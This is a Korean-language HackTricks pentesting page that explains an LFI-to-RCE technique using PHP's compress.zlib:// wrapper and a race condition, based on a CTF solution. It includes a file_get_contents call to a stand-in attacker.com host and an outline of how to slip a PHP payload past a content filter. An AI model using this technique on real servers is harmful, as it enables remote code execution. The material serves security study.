hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2024-02-10 21:30:13 +00:00

4.3 KiB

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

compress.zlib://PHP_STREAM_PREFER_STDIO

compress.zlib:// 프로토콜을 사용하여 열린 파일은 PHP_STREAM_PREFER_STDIO 플래그와 함께 데이터를 계속 기록할 수 있습니다. 이는 연결에 도착하는 데이터를 나중에 동일한 파일에 계속 기록할 수 있다는 것을 의미합니다.

다음과 같은 호출은 가능합니다:

file_get_contents("compress.zlib://http://attacker.com/file")

http://attacker.com/file에 대한 요청을 보낼 것입니다. 그러면 서버는 유효한 HTTP 응답으로 요청에 응답할 수 있으며, 연결을 유지한 채로 나중에 추가 데이터를 보낼 수 있습니다. 이 데이터는 파일에 기록됩니다.

이 정보는 php-src 코드의 main/streams/cast.c 부분에서 확인할 수 있습니다.

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition에서 RCE로

이 CTF는 이전 트릭을 사용하여 해결되었습니다.

공격자는 피해 서버가 공격자 서버에서 파일을 읽는 연결을 열도록 만듭니다. 이 연결이 존재하는 동안 공격자는 서버에 의해 누출된 임시 파일의 경로를 유출합니다.

연결이 여전히 열려 있는 동안 공격자는 자신이 제어하는 임시 파일을 로드하는 LFI를 악용할 것입니다.

그러나 웹 서버에는 <?를 포함하는 파일을 로드하는 것을 방지하는 검사가 있습니다. 따라서 공격자는 Race Condition을 악용할 것입니다. 여전히 열려 있는 연결에서 공격자웹 서버가 파일에 금지된 문자가 포함되어 있는지 확인한 후내용을 로드하기 전에 PHP 페이로드를 전송할 것입니다.

자세한 정보는 https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer의 Race Condition 및 CTF 설명을 확인하세요.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: